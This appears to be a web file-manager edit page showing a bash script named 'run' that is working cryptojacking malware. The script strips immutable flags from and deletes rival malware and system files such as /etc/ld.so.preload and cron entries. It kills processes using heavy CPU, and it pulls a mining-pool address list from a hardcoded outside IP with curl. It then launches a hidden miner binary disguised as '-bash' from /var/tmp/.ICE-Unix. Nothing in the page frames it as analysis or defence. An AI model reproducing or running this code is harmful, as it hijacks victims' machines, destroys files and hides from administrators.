Edit file File name : run Content :#!/bin/bash ########## chattr ########## chattr -i /usr/bin/player >/dev/null 2>&1 chattr -i /usr/local/lib/libextrasshd.so >/dev/null 2>&1 chattr -i /usr/lib/std++.so >/dev/null 2>&1 chattr -i /usr/local/lib/libmount.so >/dev/null 2>&1 chattr -i /usr/local/lib/libs.so >/dev/null 2>&1 chattr -i /usr/local/lib/pscan.so >/dev/null 2>&1 chattr -i /usr/local/lib/bioset.so >/dev/null 2>&1 chattr -i /usr/local/lib/mscan.so >/dev/null 2>&1 chattr -i /usr/local/lib/ext4.so >/dev/null 2>&1 chattr -i /usr/local/lib/zrab.so >/dev/null 2>&1 chattr -i /etc/ld.so.preload >/dev/null 2>&1 chattr -i /etc/init.d/sync >/dev/null 2>&1 chattr -i /etc/cron.weekly/sync >/dev/null 2>&1 chattr -i /etc/cron.hourly/sync >/dev/null 2>&1 chattr -i /etc/cron.daily/sync >/dev/null 2>&1 chattr -i /etc/cron.monthly/sync >/dev/null 2>&1 chattr -i /etc/crond.d/apache >/dev/null 2>&1 chattr -i /etc/crond.d/root >/dev/null 2>&1 chattr -i /etc/crond.d/nginx >/dev/null 2>&1 chattr -i /etc/crond.d/pwnrig >/dev/null 2>&1 chattr -i /bin/sysdrr >/dev/null 2>&1 ########## remove ########## rm -rf /usr/bin/player >/dev/null 2>&1 rm -rf /usr/local/lib/libextrasshd.so >/dev/null 2>&1 rm -rf /usr/lib/std++.so >/dev/null 2>&1 rm -rf /usr/local/lib/libmount.so >/dev/null 2>&1 rm -rf /usr/local/lib/libs.so >/dev/null 2>&1 rm -rf /usr/local/lib/pscan.so >/dev/null 2>&1 rm -rf /usr/local/lib/bioset.so >/dev/null 2>&1 rm -rf /usr/local/lib/mscan.so >/dev/null 2>&1 rm -rf /usr/local/lib/ext4.so >/dev/null 2>&1 rm -rf /usr/local/lib/zrab.so >/dev/null 2>&1 rm -rf /etc/ld.so.preload >/dev/null 2>&1 rm -rf /etc/init.d/sync >/dev/null 2>&1 rm -rf /etc/cron.weekly/sync >/dev/null 2>&1 rm -rf /etc/cron.hourly/sync >/dev/null 2>&1 rm -rf /etc/cron.daily/sync >/dev/null 2>&1 rm -rf /etc/cron.monthly/sync >/dev/null 2>&1 rm -rf /etc/crond.d/apache >/dev/null 2>&1 rm -rf /etc/crond.d/root >/dev/null 2>&1 rm -rf /etc/crond.d/nginx >/dev/null 2>&1 rm -rf /etc/crond.d/pwnrig >/dev/null 2>&1 rm -rf /bin/sysdrr >/dev/null 2>&1 rm -rf /usr/bin/player >/dev/null 2>&1 rm -rf /usr/local/lib/libextrasshd.so >/dev/null 2>&1 rm -rf /usr/lib/std++.so >/dev/null 2>&1 rm -rf /usr/local/lib/libmount.so >/dev/null 2>&1 rm -rf /usr/local/lib/libs.so >/dev/null 2>&1 rm -rf /usr/local/lib/pscan.so >/dev/null 2>&1 rm -rf /usr/local/lib/bioset.so >/dev/null 2>&1 rm -rf /usr/local/lib/mscan.so >/dev/null 2>&1 rm -rf /usr/local/lib/ext4.so >/dev/null 2>&1 rm -rf /usr/local/lib/zrab.so >/dev/null 2>&1 rm -rf /etc/ld.so.preload >/dev/null 2>&1 rm -rf /etc/init.d/sync >/dev/null 2>&1 rm -rf /etc/cron.weekly/sync >/dev/null 2>&1 rm -rf /etc/cron.hourly/sync >/dev/null 2>&1 rm -rf /etc/cron.daily/sync >/dev/null 2>&1 rm -rf /etc/cron.monthly/sync >/dev/null 2>&1 rm -rf /etc/crond.d/apache >/dev/null 2>&1 rm -rf /etc/crond.d/root >/dev/null 2>&1 rm -rf /etc/crond.d/nginx >/dev/null 2>&1 rm -rf /etc/crond.d/pwnrig >/dev/null 2>&1 rm -rf /bin/sysdrr >/dev/null 2>&1 HIDE="-bash" PID_FILE="bash.pid" ARCH=$(uname -m) ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e /var/tmp/.ICE-Unix/-bash/bash.pid && grep -vwf /var/tmp/.ICE-Unix/-bash/bash.pid) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null # Function to start the process in the background and store the process ID start_background_process() { nohup "$@" >/dev/null 2>&1 & pid=$! echo "$pid" > "$PID_FILE" } # Function to start the process without running it in the background or redirecting its output start_foreground_process() { "$@" } # Fetch the list of IP:port pairs from your website (replace with your actual URL) ip_port_list=$(curl -s http://2.57.122.121/.IP) # Split the list of IP:port pairs into an array IFS=$'\n' read -r -a ip_ports <<< "$ip_port_list" # Check if -t, -d, or -lan options were provided if [ "$#" -eq 0 ]; then # Default case start_background_process ./h64 -s $HIDE ./-bash pid=$! new_pid=$((pid + 1)) echo $new_pid > "$PID_FILE" exit 0 elif [ "$1" == "-lan" ]; then # -lan option if [ -n "$2" ]; then start_background_process ./h64 -s $HIDE ./-bash -o "$2" --tls exit 0 else echo "IP:Port not provided with -lan option. Exiting." exit 1 fi elif [ "$1" == "-t" ]; then # -t option selected_ip="" for ip_port in "${ip_ports[@]}"; do IFS=: read -r current_ip current_port <<< "$ip_port" if ping -c 1 -W 1 "$current_ip" >/dev/null 2>&1; then selected_ip="$current_ip:$current_port" break fi done if [ -n "$selected_ip" ]; then start_foreground_process ./h64 -s $HIDE ./-bash -o $2 --tls exit 0 else echo "Ping not found" exit 1 fi elif [ "$1" == "-d" ]; then # -d option for ip_port in "${ip_ports[@]}"; do IFS=: read -r current_ip current_port <<< "$ip_port" if ping -c 1 -W 1 "$current_ip" >/dev/null 2>&1; then echo "$current_ip:$current_port: RulzZzZz" start_background_process ./h64 -s $HIDE ./-bash -o "$current_ip:$current_port" --tls else echo "$current_ip:$current_port: NoPING" fi done exit 0 else echo "Invalid options provided. Exiting." exit 1 fi Save